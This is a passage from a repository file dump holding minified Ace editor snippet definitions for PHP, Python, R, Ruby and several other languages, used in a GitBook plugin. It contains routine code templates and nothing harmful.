${4:undocumented function}\\n\t *\\n\t * @return ${5:void}\\n\t * @author ${6:`g:snips_author`}\\n\t */\\n\t${1}function ${2}(${3});${7}\\n# Function\\nsnippet doc_f\\n\t/**\\n\t * ${4:undocumented function}\\n\t *\\n\t * @return ${5:void}\\n\t * @author ${6:`g:snips_author`}\\n\t */\\n\t${1}function ${2}(${3})\\n\t{${7}\\n\t}\\n# Header\\nsnippet doc_h\\n\t/**\\n\t * ${1}\\n\t *\\n\t * @author ${2:`g:snips_author`}\\n\t * @version ${3:$Id$}\\n\t * @copyright ${4:$2}, `strftime('%d %B, %Y')`\\n\t * @package ${5:default}\\n\t */\\n\t\\n# Interface\\nsnippet interface\\n\t/**\\n\t * ${2:undocumented class}\\n\t *\\n\t * @package ${3:default}\\n\t * @author ${4:`g:snips_author`}\\n\t */\\n\tinterface ${1:$FILENAME}\\n\t{\\n\t\t${5}\\n\t}\\n# class ...\\nsnippet class\\n\t/**\\n\t * ${1}\\n\t */\\n\tclass ${2:$FILENAME}\\n\t{\\n\t\t${3}\\n\t\t/**\\n\t\t * ${4}\\n\t\t */\\n\t\t${5:public} function ${6:__construct}(${7:argument})\\n\t\t{\\n\t\t\t${8:// code...}\\n\t\t}\\n\t}\\n# define(...)\\nsnippet def\\n\tdefine('${1}'${2});${3}\\n# defined(...)\\nsnippet def?\\n\t${1}defined('${2}')${3}\\nsnippet wh\\n\twhile (${1:/* condition */}) {\\n\t\t${2:// code...}\\n\t}\\n# do ... while\\nsnippet do\\n\tdo {\\n\t\t${2:// code... }\\n\t} while (${1:/* condition */});\\nsnippet if\\n\tif (${1:/* condition */}) {\\n\t\t${2:// code...}\\n\t}\\nsnippet ifil\\n\t<?php if (${1:/* condition */}): ?>\\n\t\t${2:<!-- code... -->}\\n\t<?php endif; ?>\\nsnippet ife\\n\tif (${1:/* condition */}) {\\n\t\t${2:// code...}\\n\t} else {\\n\t\t${3:// code...}\\n\t}\\n\t${4}\\nsnippet ifeil\\n\t<?php if (${1:/* condition */}): ?>\\n\t\t${2:<!-- html... -->}\\n\t<?php else: ?>\\n\t\t${3:<!-- html... -->}\\n\t<?php endif; ?>\\n\t${4}\\nsnippet else\\n\telse {\\n\t\t${1:// code...}\\n\t}\\nsnippet elseif\\n\telseif (${1:/* condition */}) {\\n\t\t${2:// code...}\\n\t}\\nsnippet switch\\n\tswitch ($${1:variable}) {\\n\t\tcase '${2:value}':\\n\t\t\t${3:// code...}\\n\t\t\tbreak;\\n\t\t${5}\\n\t\tdefault:\\n\t\t\t${4:// code...}\\n\t\t\tbreak;\\n\t}\\nsnippet case\\n\tcase '${1:value}':\\n\t\t${2:// code...}\\n\t\tbreak;${3}\\nsnippet for\\n\tfor ($${2:i} = 0; $$2 < ${1:count}; $$2${3:++}) {\\n\t\t${4: // code...}\\n\t}\\nsnippet foreach\\n\tforeach ($${1:variable} as $${2:value}) {\\n\t\t${3:// code...}\\n\t}\\nsnippet foreachil\\n\t<?php foreach ($${1:variable} as $${2:value}): ?>\\n\t\t${3:<!-- html... -->}\\n\t<?php endforeach; ?>\\nsnippet foreachk\\n\tforeach ($${1:variable} as $${2:key} => $${3:value}) {\\n\t\t${4:// code...}\\n\t}\\nsnippet foreachkil\\n\t<?php foreach ($${1:variable} as $${2:key} => $${3:value}): ?>\\n\t\t${4:<!-- html... -->}\\n\t<?php endforeach; ?>\\n# $... = array (...)\\nsnippet array\\n\t$${1:arrayName} = array('${2}' => ${3});${4}\\nsnippet try\\n\ttry {\\n\t\t${2}\\n\t} catch (${1:Exception} $e) {\\n\t}\\n# lambda with closure\\nsnippet lambda\\n\t${1:static }function (${2:args}) use (${3:&$x, $y /*put vars in scope (closure) */}) {\\n\t\t${4}\\n\t};\\n# pre_dump();\\nsnippet pd\\n\techo '<pre>'; var_dump(${1}); echo '</pre>';\\n# pre_dump(); die();\\nsnippet pdd\\n\techo '<pre>'; var_dump(${1}); echo '</pre>'; die(${2:});\\nsnippet vd\\n\tvar_dump(${1});\\nsnippet vdd\\n\tvar_dump(${1}); die(${2:});\\nsnippet http_redirect\\n\theader (\\\"HTTP/1.1 301 Moved Permanently\\\"); \\n\theader (\\\"Location: \\\".URL); \\n\texit();\\n# Getters & Setters\\nsnippet gs\\n\t/**\\n\t * Gets the value of ${1:foo}\\n\t *\\n\t * @return ${2:$1}\\n\t */\\n\tpublic function get${3:$2}()\\n\t{\\n\t\treturn $this->${4:$1};\\n\t}\\n\\n\t/**\\n\t * Sets the value of $1\\n\t *\\n\t * @param $2 $$1 ${5:description}\\n\t *\\n\t * @return ${6:$FILENAME}\\n\t */\\n\tpublic function set$3(${7:$2 }$$1)\\n\t{\\n\t\t$this->$4 = $$1;\\n\t\treturn $this;\\n\t}${8}\\n# anotation, get, and set, useful for doctrine\\nsnippet ags\\n\t/**\\n\t * ${1:description}\\n\t * \\n\t * @${7}\\n\t */\\n\t${2:protected} $${3:foo};\\n\\n\tpublic function get${4:$3}()\\n\t{\\n\t\treturn $this->$3;\\n\t}\\n\\n\tpublic function set$4(${5:$4 }$${6:$3})\\n\t{\\n\t\t$this->$3 = $$6;\\n\t\treturn $this;\\n\t}\\nsnippet rett\\n\treturn true;\\nsnippet retf\\n\treturn false;\\n\",t.scope=\"php\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/plain_text.js",
    "content": "define(\"ace/snippets/plain_text\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"plain_text\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/powershell.js",
    "content": "define(\"ace/snippets/powershell\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"powershell\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/praat.js",
    "content": "define(\"ace/snippets/praat\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"praat\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/prolog.js",
    "content": "define(\"ace/snippets/prolog\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"prolog\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/properties.js",
    "content": "define(\"ace/snippets/properties\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"properties\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/protobuf.js",
    "content": "define(\"ace/snippets/protobuf\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"\",t.scope=\"protobuf\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/python.js",
    "content": "define(\"ace/snippets/python\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText='snippet #!\\n\t#!/usr/bin/env python\\nsnippet imp\\n\timport ${1:module}\\nsnippet from\\n\tfrom ${1:package} import ${2:module}\\n# Module Docstring\\nsnippet docs\\n\t\\'\\'\\'\\n\tFile: ${1:FILENAME:file_name}\\n\tAuthor: ${2:author}\\n\tDescription: ${3}\\n\t\\'\\'\\'\\nsnippet wh\\n\twhile ${1:condition}:\\n\t\t${2:# TODO: write code...}\\n# dowh - does the same as do...while in other languages\\nsnippet dowh\\n\twhile True:\\n\t\t${1:# TODO: write code...}\\n\t\tif ${2:condition}:\\n\t\t\tbreak\\nsnippet with\\n\twith ${1:expr} as ${2:var}:\\n\t\t${3:# TODO: write code...}\\n# New Class\\nsnippet cl\\n\tclass ${1:ClassName}(${2:object}):\\n\t\t\"\"\"${3:docstring for $1}\"\"\"\\n\t\tdef __init__(self, ${4:arg}):\\n\t\t\t${5:super($1, self).__init__()}\\n\t\t\tself.$4 = $4\\n\t\t\t${6}\\n# New Function\\nsnippet def\\n\tdef ${1:fname}(${2:`indent(\\'.\\') ? \\'self\\' : \\'\\'`}):\\n\t\t\"\"\"${3:docstring for $1}\"\"\"\\n\t\t${4:# TODO: write code...}\\nsnippet deff\\n\tdef ${1:fname}(${2:`indent(\\'.\\') ? \\'self\\' : \\'\\'`}):\\n\t\t${3:# TODO: write code...}\\n# New Method\\nsnippet defs\\n\tdef ${1:mname}(self, ${2:arg}):\\n\t\t${3:# TODO: write code...}\\n# New Property\\nsnippet property\\n\tdef ${1:foo}():\\n\t\tdoc = \"${2:The $1 property.}\"\\n\t\tdef fget(self):\\n\t\t\t${3:return self._$1}\\n\t\tdef fset(self, value):\\n\t\t\t${4:self._$1 = value}\\n# Ifs\\nsnippet if\\n\tif ${1:condition}:\\n\t\t${2:# TODO: write code...}\\nsnippet el\\n\telse:\\n\t\t${1:# TODO: write code...}\\nsnippet ei\\n\telif ${1:condition}:\\n\t\t${2:# TODO: write code...}\\n# For\\nsnippet for\\n\tfor ${1:item} in ${2:items}:\\n\t\t${3:# TODO: write code...}\\n# Encodes\\nsnippet cutf8\\n\t# -*- coding: utf-8 -*-\\nsnippet clatin1\\n\t# -*- coding: latin-1 -*-\\nsnippet cascii\\n\t# -*- coding: ascii -*-\\n# Lambda\\nsnippet ld\\n\t${1:var} = lambda ${2:vars} : ${3:action}\\nsnippet .\\n\tself.\\nsnippet try Try/Except\\n\ttry:\\n\t\t${1:# TODO: write code...}\\n\texcept ${2:Exception}, ${3:e}:\\n\t\t${4:raise $3}\\nsnippet try Try/Except/Else\\n\ttry:\\n\t\t${1:# TODO: write code...}\\n\texcept ${2:Exception}, ${3:e}:\\n\t\t${4:raise $3}\\n\telse:\\n\t\t${5:# TODO: write code...}\\nsnippet try Try/Except/Finally\\n\ttry:\\n\t\t${1:# TODO: write code...}\\n\texcept ${2:Exception}, ${3:e}:\\n\t\t${4:raise $3}\\n\tfinally:\\n\t\t${5:# TODO: write code...}\\nsnippet try Try/Except/Else/Finally\\n\ttry:\\n\t\t${1:# TODO: write code...}\\n\texcept ${2:Exception}, ${3:e}:\\n\t\t${4:raise $3}\\n\telse:\\n\t\t${5:# TODO: write code...}\\n\tfinally:\\n\t\t${6:# TODO: write code...}\\n# if __name__ == \\'__main__\\':\\nsnippet ifmain\\n\tif __name__ == \\'__main__\\':\\n\t\t${1:main()}\\n# __magic__\\nsnippet _\\n\t__${1:init}__${2}\\n# python debugger (pdb)\\nsnippet pdb\\n\timport pdb; pdb.set_trace()\\n# ipython debugger (ipdb)\\nsnippet ipdb\\n\timport ipdb; ipdb.set_trace()\\n# ipython debugger (pdbbb)\\nsnippet pdbbb\\n\timport pdbpp; pdbpp.set_trace()\\nsnippet pprint\\n\timport pprint; pprint.pprint(${1})${2}\\nsnippet \"\\n\t\"\"\"\\n\t${1:doc}\\n\t\"\"\"\\n# test function/method\\nsnippet test\\n\tdef test_${1:description}(${2:self}):\\n\t\t${3:# TODO: write code...}\\n# test case\\nsnippet testcase\\n\tclass ${1:ExampleCase}(unittest.TestCase):\\n\t\t\\n\t\tdef test_${2:description}(self):\\n\t\t\t${3:# TODO: write code...}\\nsnippet fut\\n\tfrom __future__ import ${1}\\n#getopt\\nsnippet getopt\\n\ttry:\\n\t\t# Short option syntax: \"hv:\"\\n\t\t# Long option syntax: \"help\" or \"verbose=\"\\n\t\topts, args = getopt.getopt(sys.argv[1:], \"${1:short_options}\", [${2:long_options}])\\n\t\\n\texcept getopt.GetoptError, err:\\n\t\t# Print debug info\\n\t\tprint str(err)\\n\t\t${3:error_action}\\n\\n\tfor option, argument in opts:\\n\t\tif option in (\"-h\", \"--help\"):\\n\t\t\t${4}\\n\t\telif option in (\"-v\", \"--verbose\"):\\n\t\t\tverbose = argument\\n',t.scope=\"python\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/r.js",
    "content": "define(\"ace/snippets/r\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText='snippet #!\\n\t#!/usr/bin/env Rscript\\n\\n# includes\\nsnippet lib\\n\tlibrary(${1:package})\\nsnippet req\\n\trequire(${1:package})\\nsnippet source\\n\tsource(\\'${1:file}\\')\\n\\n# conditionals\\nsnippet if\\n\tif (${1:condition}) {\\n\t\t${2:code}\\n\t}\\nsnippet el\\n\telse {\\n\t\t${1:code}\\n\t}\\nsnippet ei\\n\telse if (${1:condition}) {\\n\t\t${2:code}\\n\t}\\n\\n# functions\\nsnippet fun\\n\t${1:name} = function (${2:variables}) {\\n\t\t${3:code}\\n\t}\\nsnippet ret\\n\treturn(${1:code})\\n\\n# dataframes, lists, etc\\nsnippet df\\n\t${1:name}[${2:rows}, ${3:cols}]\\nsnippet c\\n\tc(${1:items})\\nsnippet li\\n\tlist(${1:items})\\nsnippet mat\\n\tmatrix(${1:data}, nrow=${2:rows}, ncol=${3:cols})\\n\\n# apply functions\\nsnippet apply\\n\tapply(${1:array}, ${2:margin}, ${3:function})\\nsnippet lapply\\n\tlapply(${1:list}, ${2:function})\\nsnippet sapply\\n\tsapply(${1:list}, ${2:function})\\nsnippet vapply\\n\tvapply(${1:list}, ${2:function}, ${3:type})\\nsnippet mapply\\n\tmapply(${1:function}, ${2:...})\\nsnippet tapply\\n\ttapply(${1:vector}, ${2:index}, ${3:function})\\nsnippet rapply\\n\trapply(${1:list}, ${2:function})\\n\\n# plyr functions\\nsnippet dd\\n\tddply(${1:frame}, ${2:variables}, ${3:function})\\nsnippet dl\\n\tdlply(${1:frame}, ${2:variables}, ${3:function})\\nsnippet da\\n\tdaply(${1:frame}, ${2:variables}, ${3:function})\\nsnippet d_\\n\td_ply(${1:frame}, ${2:variables}, ${3:function})\\n\\nsnippet ad\\n\tadply(${1:array}, ${2:margin}, ${3:function})\\nsnippet al\\n\talply(${1:array}, ${2:margin}, ${3:function})\\nsnippet aa\\n\taaply(${1:array}, ${2:margin}, ${3:function})\\nsnippet a_\\n\ta_ply(${1:array}, ${2:margin}, ${3:function})\\n\\nsnippet ld\\n\tldply(${1:list}, ${2:function})\\nsnippet ll\\n\tllply(${1:list}, ${2:function})\\nsnippet la\\n\tlaply(${1:list}, ${2:function})\\nsnippet l_\\n\tl_ply(${1:list}, ${2:function})\\n\\nsnippet md\\n\tmdply(${1:matrix}, ${2:function})\\nsnippet ml\\n\tmlply(${1:matrix}, ${2:function})\\nsnippet ma\\n\tmaply(${1:matrix}, ${2:function})\\nsnippet m_\\n\tm_ply(${1:matrix}, ${2:function})\\n\\n# plot functions\\nsnippet pl\\n\tplot(${1:x}, ${2:y})\\nsnippet ggp\\n\tggplot(${1:data}, aes(${2:aesthetics}))\\nsnippet img\\n\t${1:(jpeg,bmp,png,tiff)}(filename=\"${2:filename}\", width=${3}, height=${4}, unit=\"${5}\")\\n\t${6:plot}\\n\tdev.off()\\n\\n# statistical test functions\\nsnippet fis\\n\tfisher.test(${1:x}, ${2:y})\\nsnippet chi\\n\tchisq.test(${1:x}, ${2:y})\\nsnippet tt\\n\tt.test(${1:x}, ${2:y})\\nsnippet wil\\n\twilcox.test(${1:x}, ${2:y})\\nsnippet cor\\n\tcor.test(${1:x}, ${2:y})\\nsnippet fte\\n\tvar.test(${1:x}, ${2:y})\\nsnippet kvt \\n\tkv.test(${1:x}, ${2:y})\\n',t.scope=\"r\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/rdoc.js",
    "content": "define(\"ace/snippets/rdoc\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"rdoc\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/rhtml.js",
    "content": "define(\"ace/snippets/rhtml\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"rhtml\"})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/snippets/ruby.js",
    "content": "define(\"ace/snippets/ruby\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText='########################################\\n# Ruby snippets - for Rails, see below #\\n########################################\\n\\n# encoding for Ruby 1.9\\nsnippet enc\\n\t# encoding: utf-8\\n\\n# #!/usr/bin/env ruby\\nsnippet #!\\n\t#!/usr/bin/env ruby\\n\t# encoding: utf-8\\n\\n# New Block\\nsnippet =b\\n\t=begin rdoc\\n\t\t${1}\\n\t=end\\nsnippet y\\n\t:yields: ${1:arguments}\\nsnippet rb\\n\t#!/usr/bin/env ruby -wKU\\nsnippet beg\\n\tbegin\\n\t\t${3}\\n\trescue ${1:Exception} => ${2:e}\\n\tend\\n\\nsnippet req require\\n\trequire \"${1}\"${2}\\nsnippet #\\n\t# =>\\nsnippet end\\n\t__END__\\nsnippet case\\n\tcase ${1:object}\\n\twhen ${2:condition}\\n\t\t${3}\\n\tend\\nsnippet when\\n\twhen ${1:condition}\\n\t\t${2}\\nsnippet def\\n\tdef ${1:method_name}\\n\t\t${2}\\n\tend\\nsnippet deft\\n\tdef test_${1:case_name}\\n\t\t${2}\\n\tend\\nsnippet if\\n\tif ${1:condition}\\n\t\t${2}\\n\tend\\nsnippet ife\\n\tif ${1:condition}\\n\t\t${2}\\n\telse\\n\t\t${3}\\n\tend\\nsnippet elsif\\n\telsif ${1:condition}\\n\t\t${2}\\nsnippet unless\\n\tunless ${1:condition}\\n\t\t${2}\\n\tend\\nsnippet while\\n\twhile ${1:condition}\\n\t\t${2}\\n\tend\\nsnippet for\\n\tfor ${1:e} in ${2:c}\\n\t\t${3}\\n\tend\\nsnippet until\\n\tuntil ${1:condition}\\n\t\t${2}\\n\tend\\nsnippet cla class .. end\\n\tclass ${1:`substitute(Filename(), \\'\\\\(_\\\\|^\\\\)\\\\(.\\\\)\\', \\'\\\\u\\\\2\\', \\'g\\')`}\\n\t\t${2}\\n\tend\\nsnippet cla class .. initialize .. end\\n\tclass ${1:`substitute(Filename(), \\'\\\\(_\\\\|^\\\\)\\\\(.\\\\)\\', \\'\\\\u\\\\2\\', \\'g\\')`}\\n\t\tdef initialize(${2:args})\\n\t\t\t${3}\\n\t\tend\\n\tend\\nsnippet cla class .. < ParentClass .. initialize .. end\\n\tclass ${1:`substitute(Filename(), \\'\\\\(_\\\\|^\\\\)\\\\(.\\\\)\\', \\'\\\\u\\\\2\\', \\'g\\')`} < ${2:ParentClass}\\n\t\tdef initialize(${3:args})\\n\t\t\t${4}\\n\t\tend\\n\tend\\nsnippet cla ClassName = Struct .. do .. end\\n\t${1:`substitute(Filename(), \\'\\\\(_\\\\|^\\\\)\\\\(.\\\\)\\', \\'\\\\u\\\\2\\', \\'g\\')`} = Struct.new(:${2:attr_names}) do\\n\t\tdef ${3:method_name}\\n\t\t\t${4}\\n\t\tend\\n\tend\\nsnippet cla class BlankSlate .. initialize .. end\\n\tclass ${1:BlankSlate}\\n\t\tinstance_methods.each { |meth| undef_method(meth) unless meth =~ /\\\\A__/ }\\n\tend\\nsnippet cla class << self .. end\\n\tclass << ${1:self}\\n\t\t${2}\\n\tend\\n# class .. < DelegateClass .. initialize .. end\\nsnippet cla-\\n\tclass ${1:`substitute(Filename(), \\'\\\\(_\\\\|^\\\\)\\\\(.\\\\)\\', \\'\\\\u\\\\2\\', \\'g\\')`} < DelegateClass(${2:ParentClass})\\n\t\tdef initialize(${3:args})\\n\t\t\tsuper(${4:del_obj})\\n\\n\t\t\t${5}\\n\t\tend\\n\tend\\nsnippet mod module .. end\\n\tmodule ${1:`substitute(Filename(), \\'\\\\(_\\\\|^\\\\)\\\\(.\\\\)\\', \\'\\\\u\\\\2\\', \\'g\\')`}\\n\t\t${2}\\n\tend\\nsnippet mod module .. module_function .. end\\n\tmodule ${1:`substitute(Filename(), \\'\\\\(_\\\\|^\\\\)\\\\(.\\\\)\\', \\'\\\\u\\\\2\\', \\'g\\')`}\\n\t\tmodule_function\\n\\n\t\t${2}\\n\tend\\nsnippet mod module .. ClassMethods .. end\\n\tmodule ${1:`substitute(Filename(), \\'\\\\(_\\\\|^\\\\)\\\\(.\\\\)\\', \\'\\\\u\\\\2\\', \\'g\\')`}\\n\t\tmodule ClassMethods\\n\t\t\t${2}\\n\t\tend\\n\\n\t\tmodule InstanceMethods\\n\\n\t\tend\\n\\n\t\tdef self.included(receiver)\\n\t\t\treceiver.extend         ClassMethods\\n\t\t\treceiver.send :include, InstanceMethods\\n\t\tend\\n\tend\\n# attr_reader\\nsnippet r\\n\tattr_reader :${1:attr_names}\\n# attr_writer\\nsnippet w\\n\tattr_writer :${1:attr_names}\\n# attr_accessor\\nsnippet rw\\n\tattr_accessor :${1:attr_names}\\nsnippet atp\\n\tattr_protected :${1:attr_names}\\nsnippet ata\\n\tattr_accessible :${1:attr_names}\\n# include Enumerable\\nsnippet Enum\\n\tinclude Enumerable\\n\\n\tdef each(&block)\\n\t\t${1}\\n\tend\\n# include Comparable\\nsnippet Comp\\n\tinclude Comparable\\n\\n\tdef <=>(other)\\n\t\t${1}\\n\tend\\n# extend Forwardable\\nsnippet Forw-\\n\textend Forwardable\\n# def self\\nsnippet defs\\n\tdef self.${1:class_method_name}\\n\t\t${2}\\n\tend\\n# def method_missing\\nsnippet defmm\\n\tdef method_missing(meth, *args, &blk)\\n\t\t${1}\\n\tend\\nsnippet defd\\n\tdef_delegator :${1:@del_obj}, :${2:del_meth}, :${3:new_name}\\nsnippet defds\\n\tdef_delegators :${1:@del_obj}, :${2:del_methods}\\nsnippet am\\n\talias_method :${1:new_name}, :${2:old_name}\\nsnippet app\\n\tif __FILE__ == $PROGRAM_NAME\\n\t\t${1}\\n\tend\\n# usage_if()\\nsnippet usai\\n\tif ARGV.${1}\\n\t\tabort \"Usage: #{$PROGRAM_NAME} ${2:ARGS_GO_HERE}\"${3}\\n\tend\\n# usage_unless()\\nsnippet usau\\n\tunless ARGV.${1}\\n\t\tabort \"Usage: #{$PROGRAM_NAME} ${2:ARGS_GO_HERE}\"${3}\\n\tend\\nsnippet array\\n\tArray.new(${1:10}) { |${2:i}| ${3} }\\nsnippet hash\\n\tHash.new { |${1:hash}, ${2:key}| $1[$2] = ${3} }\\nsnippet file File.foreach() { |line| .. }\\n\tFile.foreach(${1:\"path/to/file\"}) { |${2:line}| ${3} }\\nsnippet file File.read()\\n\tFile.read(${1:\"path/to/file\"})${2}\\nsnippet Dir Dir.global() { |file| .. }\\n\tDir.glob(${1:\"dir/glob/*\"}) { |${2:file}| ${3} }\\nsnippet Dir Dir[\"..\"]\\n\tDir[${1:\"glob/**/*.rb\"}]${2}\\nsnippet dir\\n\tFilename.dirname(__FILE__)\\nsnippet deli\\n\tdelete_if { |${1:e}| ${2} }\\nsnippet fil\\n\tfill(${1:range}) { |${2:i}| ${3} }\\n# flatten_once()\\nsnippet flao\\n\tinject(Array.new) { |${1:arr}, ${2:a}| $1.push(*$2)}${3}\\nsnippet zip\\n\tzip(${1:enums}) { |${2:row}| ${3} }\\n# downto(0) { |n| .. }\\nsnippet dow\\n\tdownto(${1:0}) { |${2:n}| ${3} }\\nsnippet ste\\n\tstep(${1:2}) { |${2:n}| ${3} }\\nsnippet tim\\n\ttimes { |${1:n}| ${2} }\\nsnippet upt\\n\tupto(${1:1.0/0.0}) { |${2:n}| ${3} }\\nsnippet loo\\n\tloop { ${1} }\\nsnippet ea\\n\teach { |${1:e}| ${2} }\\nsnippet ead\\n\teach do |${1:e}|\\n\t\t${2}\\n\tend\\nsnippet eab\\n\teach_byte { |${1:byte}| ${2} }\\nsnippet eac- each_char { |chr| .. }\\n\teach_char { |${1:chr}| ${2} }\\nsnippet eac- each_cons(..) { |group| .. }\\n\teach_cons(${1:2}) { |${2:group}| ${3} }\\nsnippet eai\\n\teach_index { |${1:i}| ${2} }\\nsnippet eaid\\n\teach_index do |${1:i}|\\n\t\t${2}\\n\tend\\nsnippet eak\\n\teach_key { |${1:key}| ${2} }\\nsnippet eakd\\n\teach_key do |${1:key}|\\n\t\t${2}\\n\tend\\nsnippet eal\\n\teach_line { |${1:line}| ${2} }\\nsnippet eald\\n\teach_line do |${1:line}|\\n\t\t${2}\\n\tend\\nsnippet eap\\n\teach_pair { |${1:name}, ${2:val}| ${3} }\\nsnippet eapd\\n\teach_pair do |${1:name}, ${2:val}|\\n\t\t${3}\\n\tend\\nsnippet eas-\\n\teach_slice(${1:2}) { |${2:group}| ${3} }\\nsnippet easd-\\n\teach_slice(${1:2}) do |${2:group}|\\n\t\t${3}\\n\tend\\nsnippet eav\\n\teach_value { |${1:val}| ${2} }\\nsnippet eavd\\n\teach_value do |${1:val}|\\n\t\t${2}\\n\tend\\nsnippet eawi\\n\teach_with_index { |${1:e}, ${2:i}| ${3} }\\nsnippet eawid\\n\teach_with_index do |${1:e},${2:i}|\\n\t\t${3}\\n\tend\\nsnippet reve\\n\treverse_each { |${1:e}| ${2} }\\nsnippet reved\\n\treverse_each do |${1:e}|\\n\t\t${2}\\n\tend\\nsnippet inj\\n\tinject(${1:init}) { |${2:mem}, ${3:var}| ${4} }\\nsnippet injd\\n\tinject(${1:init}) do |${2:mem}, ${3:var}|\\n\t\t${4}\\n\tend\\nsnippet map\\n\tmap { |${1:e}| ${2} }\\nsnippet mapd\\n\tmap do |${1:e}|\\n\t\t${2}\\n\tend\\nsnippet mapwi-\\n\tenum_with_index.map { |${1:e}, ${2:i}| ${3} }\\nsnippet sor\\n\tsort { |a, b| ${1} }\\nsnippet sorb\\n\tsort_by { |${1:e}| ${2} }\\nsnippet ran\\n\tsort_by { rand }\\nsnippet all\\n\tall? { |${1:e}| ${2} }\\nsnippet any\\n\tany? { |${1:e}| ${2} }\\nsnippet cl\\n\tclassify { |${1:e}| ${2} }\\nsnippet col\\n\tcollect { |${1:e}| ${2} }\\nsnippet cold\\n\tcollect do |${1:e}|\\n\t\t${2}\\n\tend\\nsnippet det\\n\tdetect { |${1:e}| ${2} }\\nsnippet detd\\n\tdetect do |${1:e}|\\n\t\t${2}\\n\tend\\nsnippet fet\\n\tfetch(${1:name}) { |${2:key}| ${3} }\\nsnippet fin\\n\tfind { |${1:e}| ${2} }\\nsnippet find\\n\tfind do |${1:e}|\\n\t\t${2}\\n\tend\\nsnippet fina\\n\tfind_all { |${1:e}| ${2} }\\nsnippet finad\\n\tfind_all do |${1:e}|\\n\t\t${2}\\n\tend\\nsnippet gre\\n\tgrep(${1:/pattern/}) { |${2:match}| ${3} }\\nsnippet sub\\n\t${1:g}sub(${2:/pattern/}) { |${3:match}| ${4} }\\nsnippet sca\\n\tscan(${1:/pattern/}) { |${2:match}| ${3} }\\nsnippet scad\\n\tscan(${1:/pattern/}) do |${2:match}|\\n\t\t${3}\\n\tend\\nsnippet max\\n\tmax { |a, b| ${1} }\\nsnippet min\\n\tmin { |a, b| ${1} }\\nsnippet par\\n\tpartition { |${1:e}| ${2} }\\nsnippet pard\\n\tpartition do |${1:e}|\\n\t\t${2}\\n\tend\\nsnippet rej\\n\treject { |${1:e}| ${2} }\\nsnippet rejd\\n\treject do |${1:e}|\\n\t\t${2}\\n\tend\\nsnippet sel\\n\tselect { |${1:e}| ${2} }\\nsnippet seld\\n\tselect do |${1:e}|\\n\t\t${2}\\n\tend\\nsnippet lam\\n\tlambda { |${1:args}| ${2} }\\nsnippet doo\\n\tdo\\n\t\t${1}\\n\tend\\nsnippet dov\\n\tdo |${1:variable}|\\n\t\t${2}\\n\tend\\nsnippet :\\n\t:${1:key} => ${2:\"value\"}${3}\\nsnippet ope\\n\topen(${1:\"path/or/url/or/pipe\"}, \"${2:w}\") { |${3:io}| ${4} }\\n# path_from_here()\\nsnippet fpath\\n\tFile.join(File.dirname(__FILE__), *%2[${1:rel path here}])${2}\\n# unix_filter {}\\nsnippet unif\\n\tARGF.each_line${1} do |${2:line}|\\n\t\t${3}\\n\tend\\n# option_parse {}\\nsnippet optp\\n\trequire \"optparse\"\\n\\n\toptions = {${1:default => \"args\"}}\\n\\n\tARGV.options do |opts|\\n\t\topts.banner = \"Usage: #{File.basename($PROGRAM_NAME)}\\nsnippet opt\\n\topts.on( \"-${1:o}\", \"--${2:long-option-name}\", ${3:String},\\n\t         \"${4:Option description.}\") do |${5:opt}|\\n\t\t${6}\\n\tend\\nsnippet tc\\n\trequire \"test/unit\"\\n\\n\trequire \"${1:library_file_name}\"\\n\\n\tclass Test${2:$1} < Test::Unit::TestCase\\n\t\tdef test_${3:case_name}\\n\t\t\t${4}\\n\t\tend\\n\tend\\nsnippet ts\\n\trequire \"test/unit\"\\n\\n\trequire \"tc_${1:test_case_file}\"\\n\trequire \"tc_${2:test_case_file}\"${3}\\nsnippet as\\n\tassert ${1:test}, \"${2:Failure message.}\"${3}\\nsnippet ase\\n\tassert_equal ${1:expected}, ${2:actual}${3}\\nsnippet asne\\n\tassert_not_equal ${1:unexpected}, ${2:actual}${3}\\nsnippet asid\\n\tassert_in_delta ${1:expected_float}, ${2:actual_float}, ${3:2 ** -20}${4}\\nsnippet asio\\n\tassert_instance_of ${1:ExpectedClass}, ${2:actual_instance}${3}\\nsnippet asko\\n\tassert_kind_of ${1:ExpectedKind}, ${2:actual_instance}${3}\\nsnippet asn\\n\tassert_nil ${1:instance}${2}\\nsnippet asnn\\n\tassert_not_nil ${1:instance}${2}\\nsnippet asm\\n\tassert_match /${1:expected_pattern}/, ${2:actual_string}${3}\\nsnippet asnm\\n\tassert_no_match /${1:unexpected_pattern}/, ${2:actual_string}${3}\\nsnippet aso\\n\tassert_operator ${1:left}, :${2:operator}, ${3:right}${4}\\nsnippet asr\\n\tassert_raise ${1:Exception} { ${2} }\\nsnippet asrd\\n\tassert_raise ${1:Exception} do\\n\t\t${2}\\n\tend\\nsnippet asnr\\n\tassert_nothing_raised ${1:Exception} { ${2} }\\nsnippet asnrd\\n\tassert_nothing_raised ${1:Exception} 